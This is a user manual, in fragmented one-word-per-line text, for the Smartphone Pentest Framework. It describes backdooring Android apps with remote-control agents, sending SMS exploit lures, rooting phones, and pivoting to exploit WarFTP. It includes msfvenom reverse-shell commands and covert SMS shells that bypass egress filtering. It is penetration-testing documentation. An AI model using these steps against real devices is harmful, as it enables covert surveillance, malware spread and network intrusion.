Smartphone Pentest Framework Manual
Smartphone Pentest Framework Manual
Installation:
SPF
is
supported
on
Ubuntu
Linux
and
the
Kali
Linux
penetration
testing
distribution.
Support
for
other
platforms
is
in
development.
SPF
is
hosted
on
githib.com
and
can
be
downloaded
with
git
clone
https://github.com/georgiaw/Smartphone-‐Pentest-‐Framework.git.
Kali:
Many
of
the
prerequisites
for
SPF
are
already
installed
on
Kali
Linux
including
MySQL,
Apache2,
and
the
Android
SDK.
After
cloning
the
git
repository
for
SPF
change
directories
to
the
newly
created
Smartphone-‐Pentest-‐Framework
directory
and
run
the
kaliinstall
script
as
shown
below.
root@kali:~# git clone https://github.com/georgiaw/Smartphone-Pentest-
Framework.git
root@kali:~# cd Smartphone-Pentest-Framework
root@kali:~/Smartphone-Pentest-Framework# ./kaliinstall
The
kaliinstall
script
will
install
any
necessary
Android
components,
set
up
the
empty
Mysql
database,
and
start
the
web
server.
Ubuntu:
The
installation
process
is
similar
for
Ubuntu
Linux.
Clone
the
git
repository
for
SPF
and
change
directories
to
the
Smartphone-‐Pentest-‐Framework
directory
that
is
created
by
git.
Run
the
ubuntuinstall
script.
This
will
install
the
prerequisites
such
as
the
Android
SDK,
Mysql,
and
Apache2
if
they
are
not
already
installed.
It
will
also
setup
an
empty
database
and
start
the
web
server.
georgia@ubuntu:~# git clone https://github.com/georgiaw/Smartphone-
Pentest-Framework.git
georgia@ubuntu:~# cd Smartphone-Pentest-Framework
georgia@ubuntu:~/Smartphone-Pentest-Framework# ./ubuntuinstall
Setting
Up:
The
install
scripts
for
your
platform
will
automatically
start
the
database
and
webserver
for
use
with
SPF.
On
subsequent
uses
you
will
need
to
start
your
database
and
webserver
manually
before
starting
SPF.
On
both
Kali
and
Ubuntu
use
service
<service
to
start>
start
to
start
the
database
and
webserver.
SPF
currently
supports
Apache2
as
the
webserver.
root@kali:~/Smartphone-Pentest-Framework/frameworkconsole# service
apache2 start
Mysql
and
Postgresql
are
supported
databases
for
SPF.
root@kali:~/Smartphone-Pentest-Framework/frameworkconsole# service
mysql start
Finally,
you
need
to
edit
the
SPF
configuration
file
to
match
your
environment.
The
SPF
configuration
file
is
located
in
the
frameworkconsole
directory
and
is
called
config.
The
default
configuration
file
is
set
up
to
match
a
Kali
Linux
install
from
the
root
directory.
You
will
need
to
change
any
options
to
meet
your
environment
if
it
is
different.
root@kali:~/Smartphone-Pentest-Framework/frameworkconsole# cat config
#ROOT DIRECTORY FOR THE WEBSERVER THAT WILL HOST OUR FILES
WEBSERVER = /var/www
IPADDRESS = 192.168.20.9
SHELLIPADDRESS = 192.168.20.9
MYSQLSERVER = 127.0.0.1
...
The
IPADDRESS
option
should
be
set
to
the
IP
address
of
your
webserver.
The
SHELLIPADDRESS
option
should
be
set
to
the
IP
address
where
listeners
should
listen
for
incoming
shells.
Other
options
in
the
configuration
file
include
paths
to
software
and
database
login
information.
Running
SPF:
Now
you
are
ready
to
run
the
SPF
server.
Start
SPF
from
the
frameworkconsole
directory.
Run
framework.py
and
you
should
be
presented
with
the
SPF
menu
as
shown
below.
root@kali:~/Smartphone-Pentest-Framework/frameworkconsole#
./framework.py
################################################
# #
# Welcome to the Smartphone Pentest Framework! #
# v0.2.4 #
# #
################################################
0.) Exit
spf>
SPF
stores
information
about
Agents,
attacks,
etc.
in
the
database.
To
clear
out
any
data
from
the
database
or
set
it
up
for
the
first
time
choose
option
7.)
Clear/Create
Database
from
the
main
menu.
You
will
be
prompted
to
make
sure
you
want
to
destroy
all
your
logs.
Type
y.
spf> 7
This will destroy all your data. Are you sure you want to? (y/N)?y
If
this
is
successful
you
know
you
SPF
can
successfully
communicate
with
the
database.
If
an
error
is
thrown
check
that
the
database
server
is
running
and
the
options
in
the
config
file
are
correct.
SPF
App
One
option
for
the
mobile
modem
is
installing
the
SPF
App
on
your
Android
phone.
It
will
allow
you
to
control
and
interact
with
the
SPF
console
and
SPF
Agents
(discussed
later
in
this
manual).
The
SPF
App
interacts
with
the
SPF
console
via
HTTP.
The
SPF
App
can
interact
with
SPF
Agents
via
SMS
as
well
as
send
SMS
and
NFC
based
attacks
to
other
devices.
spf> 3
2.) Android App with NFC (Android 4.0 and NFC enabled device)
spf> 1
Control Key:KEYKEY1
Control Path:/bookspf
Is this correct?(y/n)y
<snip>
-post-build:
debug:
BUILD SUCCESSFUL
SPF
using
the
Android
SDK
automatically
generates
the
App.
Deploying
the
App
To
deploy
the
App
on
your
device,
you
have
2
options.
You
can
install
the
App
using
the
Android
Debug
Bridge
(ADB)
and
attaching
your
device
with
ADB
enabled
to
the
same
machine
as
the
SPF
console.
Choose
option
4
at
the
main
menu.
Then
choose
option
5.)
Install
App
via
ADB.
The
ADB
daemon
will
search
for
attached
devices.
Enter
the
name
of
the
attached
device
you
want
to
install
the
App
on.
Then
choose
the
App
(with
NFC
or
without)
you
want
to
install.
Choose a type of modem to attach to:
spf> 5
emulator-5554 device
emulator-5556 device
emulator-5558 device
Which App?
spf> 2
pkg: /data/local/tmp/FrameworkAndroidApp.apk
Success
Alternatively,
SPF
will
upload
the
App
to
the
web
server
in
the
config
file.
Choose
option
4
at
the
main
menu
and
then
option
4.)
Copy
App
to
Webserver.
Choose
which
App
to
upload
(with
NFC
or
without) .
Then
specify
the
path
and
filename
on
the
web
server
where
you
would
like
to
upload
the
App.
Choose a type of modem to attach to:
spf> 4
Which App?
spf> 2
Filename: /app.apk
Using
the
browser
on
your
Android
device,
browse
to
the
link
and
download
and
install
the
App.
spf> 2
Is this correct?(y/N): y
The
SPF
console
will
appear
to
hang
as
it
waits
for
the
App
to
check
in.
Open
the
App
on
the
Android
device.
As
shown
in
the
Figure
below
fill
in
the
IP
address
of
the
SPF
console
as
well
as
the
same
values
for
the
control
key
and
URL
path
as
you
entered
in
the
SPF
console.
The
App
and
the
console
will
perform
a
handshake
with
each
other.
The
App
will
open
a
command
menu
and
the
console
will
return
to
the
main
menu.
Now
the
device
is
attached
and
may
be
used
for
mobile
modem
functionality
with
SPF.
USB
Modem
Another
option
for
sending
mobile
modem
based
attacks
and
commands
is
to
attach
a
USB
modem
with
a
SIM
card
to
the
machine
with
the
SPF
console.
Currently
the
only
supported
USB
modem
is
a
Zoom
4595.
Attach
the
modem
to
the
SPF
console
machine.
Choose
option
4
at
the
main
menu
followed
by
option
1.)
Search
for
attached
modem.
If
a
USB
modem
is
present
at
the
correct
serial
port
SPF
will
attempt
to
send
commands
to
it.
If
it
is
successful
the
device
will
be
added
to
the
database
as
a
mobile
modem.
If
you
use
the
USB
device
to
send
commands
to
Agents
or
run
mobile
modem
based
attacks
SPF
will
use
AT
commands
to
interact
with
the
USB
modem.
spf>
4
Choose
a
type
of
modem
to
attach
to:
1.)
Search
for
attached
modem
2.)
Attach
to
a
smartphone
based
app
3.)
Generate
smartphone
based
app
4.)
Copy
App
to
Webserver
5.)
Install
App
via
ADB
spf>
1
USB
Modem
Found
ATZ
OK
spf> 1
Select An Exploit:
spf> 1
SPF
will
call
Metasploit
(verify
the
Metasploit
path
in
the
configuration
file)
and
run
the
relevant
module.
If
the
iPhone
is
vulnerable,
you
will
be
presented
with
a
root
command
shell
on
the
iPhone.
Client
Side
Attack
Examples:
More
common
on
modern
computing
platforms,
mobile
devices
included,
are
client
side
attacks.
spf> 2
spf> 1
Filename: /book.html
Custom text(y/N)? N
You
can
use
custom
text
for
the
message
or
the
default
“This
is
a
cool
page:
<link>”
message.
15555215554:This is a cool page: http://192.168.20.9/spfbook2/book.html
If
the
user
clicks
on
the
link
and
the
browser
is
vulnerable
to
the
attack
a
shell
will
be
thrown
back
to
the
IP
address
specified
in
the
configuration
file
for
SHELLIPADDRESS.
The
id
command
will
be
automatically
run
when
the
shell
connects.
You
can
then
run
commands
that
Android
knows.
Type
exit
when
you
are
done
with
the
shell.
Connected: Try exit to quit
/system/bin/ls
sqlite_stmt_journals
<snip>
exit
spf> 3
Filename: /book2.html
SPF
Agents
Another
way
of
attacking
mobile
devices
is
enticing
users
to
install
a
malicious
application.
SPF
uses
Agents
inside
legitimate
apps.
SPF
Agents
include
a
variety
of
functionality
including
payloads
for
remote
control,
information
gathering,
attacking
other
installed
apps,
and
even
attacking
other
devices.
Building
SPF
Agents:
Backdooring
Source
Code
To
get
the
SPF
Agent
inside
of
a
legitimate
application
we
have
2
options.
We
can
backdoor
Android
App
source
code
or
backdoor
a
compiled
APK.
To
backdoor
source
code
with
the
SPF
Agent
choose
option
1
at
the
main
menu
followed
by
2.)
Generate
Agent
App.
You
will
be
presented
with
all
the
source
code
templates
imported
into
SPF.
You
can
import
more
templates
by
choosing
option
1
at
the
main
menu
and
then
4.)
Import
an
Agent
Template.
You
will
be
prompted
for
the
phone
number
of
the
mobile
modem
that
can
control
this
Agent,
the
check
in
URL
path
and
7
character
key.
These
values
should
be
the
same
as
the
values
you
entered
when
creating
the
corresponding
app
if
applicable.
spf> 1
spf> 2
1.) MapsDemo
2.) BlankFrontEnd
spf> 1
Control Number:15555215554
Control Key:KEYKEY1
Control Path:/androidagent1
Is this correct?(y/n) y
<snip>
BUILD SUCCESSFUL
The
Android
Agent
will
be
automatically
built
using
the
source
code
template
specified
using
the
Android
SDK.
spf> 5
spf> y
--snip--
Puts the Android Agent inside an Android App APK. The application runs normally
with extra functionality
I: Baksmaling...
--snip--
You
will
be
prompted
for
the
same
information
for
control
as
backdooring
source
code.
Phone number of the control modem for the agent: 15555215554
Control Key:KEYKEY1
ControlPath:/androidagent1
Is this correct?(y/n) y
--snip--
The
APK
will
be
rebuilt
with
the
SPF
Agent
included.
Signing
the
APK:
Android
Masterkey
Vulnerability
In
order
to
install
an
APK
on
a
device
it
must
be
signed.
The
open
source
SPF
does
not
currently
support
signing
and
uploading
to
Google
Play
or
other
app
stores
though
this
process
can
be
completed
manually.
You
can
instead
use
the
debug
key
for
Android
or
use
the
Android
Master
Key
Vulnerability
from
2013.
This
vulnerability
is
present
on
Android
devices
before
Android
4.3.
Using
the
Master
Key
vuln
the
original
signatures
and
original
application
files
will
be
added
to
the
generated
backdoored
APK.
This
will
allow
our
malicious
app
to
appear
to
be
a
legitimate
update
for
an
already
installed
app.
Use Android Master Key Vuln?(y/N): y
Archive: /root/Desktop/abcnews.apk
--snip--
Inflating: unzipped/META-INF/CERT.RSA
Signing
the
APK:
Debug
Key
Alternatively
you
can
sign
the
APK
with
the
debug
Android
SDK
key.
Use Android Master Key Vuln?(y/N): n
--snip--
signing: resources.arsc
Deploying
the
Agent
Of
course
in
order
for
the
SPF
Agent
to
be
useful,
it
must
be
downloaded
to
a
user’s
device.
SPF
can
automate
the
process
of
sending
an
SMS
or
NFC
request
to
download
the
Agent
app.
Choose
option
6
at
the
main
menu.
Choose
1.)
Direct
Download
Agent.
In
2013
Android
Meterpreter
was
added
to
Metasploit.
You
can
generate
Android
Meterpreter
in
the
8.)
Use
Metasploit
menu.
To
tell
SPF
to
deploy
the
Agent
as
opposed
to
Meterpreter
type
Agent
at
the
prompt.
You
are
then
prompted
for
the
URL
path
and
filename,
attack
vector
(SMS
or
NFC)
and
if
SMS
the
phone
number
to
attack
and
whether
you
would
like
to
change
the
default
text.
spf> 6
spf> 1
This module sends an SMS with a link to directly download and install
an Agent
Filename: /maps.apk
Custom text(y/N)? N
If
the
user
installs
the
Agent
it
will
look
and
feel
like
the
original
app,
but
will
have
additional
functionality.
spf> 1
This will set up handlers to control an agent that has already been
deployed.
Is this correct?(y/N): y
After
the
check
in
is
completed,
from
the
main
menu
choose
option
2.
The
Available
Agents
list
should
show
the
phone
number
of
the
deployed
Agent.
spf> 2
Available Agents:
1.) 15555215556
1.)
Available Agents:
1.) 15555215556
spf> 1
Commands:
spf> 14
Give
SPF
about
a
minute
to
finish
the
command
(some
commands
such
as
running
Nmap
as
discussed
below
will
take
more
time)
then
from
the
main
menu
choose
option
3.
At
the
prompt
type
Agents
to
see
details
about
an
Agent
(SPF
also
stores
information
about
attacks
run).
Choose
your
Agent’s
id
from
the
list.
The
Packages
field
should
be
filled
in
with
the
results
of
the
command.
spf> 3
View Data Gathered from a Deployed Agent:
Agents or Attacks?Agents
Available Agents:
1.) 15555215556
spf> 1
Data:
SMS Database:
Contacts:
Picture Location:
Rooted:
Ping Sweep:
File:
Packages: package:com.google.android.location
<snip>
package:com.android.providers.downloads
package:com.android.server.vpn
Agent
Post
Exploitation:
Remote
Control
Example
There
are
also
payloads
to
remotely
control
the
device.
For
example
from
the
Agent
control
menu
choose
1.)
Send
SMS
to
have
the
Agent
send
a
text
message
to
another
device
in
the
background.
You
will
be
prompted
for
the
phone
number
and
message.
Combined
with
the
Get
Contacts
payload,
this
is
a
great
way
to
entice
additional
users
into
downloading
and
installing
Agents.
Commands:
<snip>
spf> 1
Send an SMS message to another phone. Fill in the number, the message
to send, and the delivery method(SMS or HTTP).
Number: 15555215558
<snip>
spf> 2
If
the
rooting
is
successful
it
will
be
recorded
in
the
database.
Rooted: RageAgainstTheCage
spf> 3
spf> y
At
the
Agents
command
menu
choose
option
12.)
Run
Nmap.
You
will
be
prompted
for
the
Nmap
target.
Any
target
specification
that
is
valid
for
Nmap
can
be
used
here.
Select a command to perform or 0 to return to the previous menu
spf> 12
Download Nmap and port scan a host of range. Use any accepted format
for target specification in Nmap
This
command
can
take
up
to
5
minutes
to
return
its
information
to
the
database.
The
data
is
in
the
File
field.
# Nmap 5.61TEST4 scan initiated Sun Sep 1 23:41:30 2014 as:
/data/data/com.example.android.google.apis/files/nmap -oA
/data/data/com.example.android.google.apis/files/nmapoutput
192.168.20.10
<snip>
Exploiting
a
System
through
a
Pivot
Example
If
a
device
on
the
local
network
is
subject
to
a
remote
vulnerability,
we
can
not
directly
exploit
it
from
the
Internet,
but
if
the
Agent
infected
device
is
on
the
same
local
network,
it
can
directly
attempt
to
exploit
the
vulnerability.
For
example,
consider
a
commonly
used
exploit
development
example
War-‐Ftp
1.65
that
I
left
lying
around
on
my
local
network
while
preparing
for
a
class.
A
simple
C
exploit
for
this
is
issue
is
included
with
SPF
in
Smartphone-‐Pentest-‐
Framework/exploits/Windows/.
You
will
need
to
change
the
payload
to
meet
your
needs.
Msfvenom
from
Metasploit
is
an
ideal
to
for
this.
For
this
example
we
will
set
up
a
Metasploit
listener
on
our
SPF
machine
and
have
the
exploited
device
call
back
with
a
reverse
shell.
Later
in
this
document
we
will
look
at
having
the
shell
sent
through
the
Agent
infected
mobile
device
instead
in
case
some
sort
of
egress
filtering
is
in
the
way.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 -f c -b '\x00\x0a\x0d\x20'
The
C
code
needs
to
be
compiled
to
run
on
an
Android
device.
The
Android
cross
compiler
is
included
as
part
of
SPF.
From
the
main
menu
choose
option
9.
Then
choose
option
1.)
Compile
C
code
for
ARM
Android.
Give
it
the
C
file
to
compile
and
the
output
location.
spf> 9
spf> 1
Compiles C code to run on ARM based Android devices. Supply the C code
file and the output filename
Now
for
the
Agents
menu
choose
option
6.)
Download
File.
Select a command to perform or 0 to return to the previous menu
spf> 6
Downloads a file to the phone. Fill in the file and the delivery
method(SMS or HTTP).
Before
we
run
the
exploit
we
need
to
set
up
a
listener
to
catch
the
payload.
For
my
example
I
used
a
Metasploit
Windows
reverse
Meterpreter
shell
that
calls
back
to
my
SPF
hosting
machine.
I
will
set
up
the
corresponding
listener
with
Metasploit.
msf > use multi/handler
Now
from
the
SPF
Agents
menu
choose
7.)
Run
Command.
Run
the
downloaded
exploit.
In
my
case
I
need
to
give
it
the
IP
address
and
port
to
attack.
The
exploit
will
be
run
from
the
phone.
If
it
successfully
exploits
the
victim
the
payload
I
created
will
be
run.
Select a command to perform or 0 to return to the previous menu
spf> 7
Run a command in the terminal. Fill in the command and the delivery
method(SMS or HTTP).
And
I
will
be
a
shell
in
Metasploit.
meterpreter >
Exploiting
a
System
through
a
Pivot
with
SMS
Shell
Example
Even
more
interesting
is
using
the
Agent
infected
mobile
device
as
a
pivot
point
for
the
shell
from
the
exploited
machine.
This
will
allow
you
to
bypass
any
egress
filtering,
monitoring
etc.
at
the
perimeter
of
the
local
network
by
using
SMS
to
send
the
shell
out.
There
is
another
example
C
exploit
for
WarFTP
1.65
in
Smartphone-‐Pentest-‐
Framework/exploits/Windows
for
a
inline
reverse
shell.
Replace
the
shellcode
to
have
it
call
back
to
the
IP
address
of
the
Agent
infected
device.
msfvenom
-‐p
windows/shell_reverse_tcp
LHOST=192.168.20.37
-‐b
'\x00\x0a\x0d\x40'
-‐f
c
Compile
the
code
with
SPF
with
option
9
at
the
main
menu.
spf>
9
Compile
code
to
run
on
mobile
devices
1.)
Compile
C
code
for
ARM
Android
spf>
1
Compiles
C
code
to
run
on
ARM
based
Android
devices.
Supply
the
C
code
file
and
the
output
filename
File
to
Compile:
/root/Smartphone-‐Pentest-‐
Framework/exploits/Windows/warftpreverseshell.c
Output
File:
/root/Smartphone-‐Pentest-‐Framework/exploits/Windows/warftp2
Download
the
compiled
file
to
the
Agent
infected
device
with
option
6
in
the
Agent
Commands
menu.
spf>
6
Downloads
a
file
to
the
phone.
Fill
in
the
file
and
the
delivery
method(SMS
or
HTTP).
File
to
download:
/root/Smartphone-‐Pentest-‐
Framework/exploits/Windows/warftp2
Hosting
Path:
/hgfd
Filename:
/warftp2
Delivery
Method(SMS
or
HTTP):
HTTP
Before
running
the
command
choose
option
10.)
TCP
Listener.
You
will
be
prompted
for
the
Delivery
and
Return
method
as
usual.
In
this
case
the
Return
method
is
the
communication
method
for
the
shell.
Using
SMS
our
shell
we
leave
the
local
network
out
of
bounds
of
the
network.
You
will
also
need
to
specify
the
port
to
listen
on.
spf>
10
Open
a
TCP
listener
on
the
phone.
Fill
in
the
delivery
method(SMS
or
HTTP)
and
return
method
(SMS
or
HTTP)
as
well
as
the
port
to
listen
on.
Delivery
Method(SMS
or
HTTP)
spf>
HTTP
Return
Method(SMS
or
HTTP)
spf>
SMS
Port:
spf>
4444
Then
tell
the
Agent
to
run
the
attack
against
WarFtp.
Select
a
command
to
perform
or
0
to
return
to
the
previous
menu
spf>
7
Run
a
command
in
the
terminal.
Fill
in
the
command
and
the
delivery
method(SMS
or
HTTP).
Command:
warftp2
192.168.20.29
21
Downloaded?:
yes
Delivery
Method(SMS
or
HTTP):
HTTP
This
time
the
shell
will
be
sent
to
the
Agent
infected
device
that
will
send
any
commands
and
info
from
the
shell
to
its
control
number
that
will
in
turn
upload
the
data
to
SPF.
Choose
option
11.)
Connect
to
Listener
from
the
Agent
Commands
menu
to
open
the
shell.
Specify
the
port
and
communication
method.
You
should
see
a
prompt
if
the
exploit
was
successful.
This
shell
is
completely
out
of
band.
You
may
notice
a
bit
of
a
delay
if
service
is
bad.
spf>
11
Connect
to
a
TCP
Listener
from
the
agent.
Enter
the
port
number
of
the
listener.
Port:
4444
Communication
Method(HTTP
or
SMS):
SMS
Microsoft
Windows
XP
[Version
5.1.2600]
(C)
Copyright
1985-‐2001
Microsoft
Corp.
-‐-‐-‐
ipconfig
C:\Documents
and
Settings\georgia\Desktop>ipconfig
-‐-‐-‐
-‐-‐-‐Windows
IP
Configuration-‐-‐-‐
-‐-‐-‐
-‐-‐-‐-‐-‐-‐-‐-‐-‐
Ethernet
adapter
Local
Area
Connection:
-‐-‐-‐-‐-‐-‐
-‐-‐-‐
Connection-‐specific
DNS
Suffix
.
:
XXXX
-‐-‐-‐
IP
Address.
.
.
.
.
.
.
.
.
.
.
.
:
192.168.20.29
<snip>
The
exploit
code
for
this
and
the
previous
example
needs
to
be
in
C,
but
it
is
not
limited
to
a
particular
vulnerability.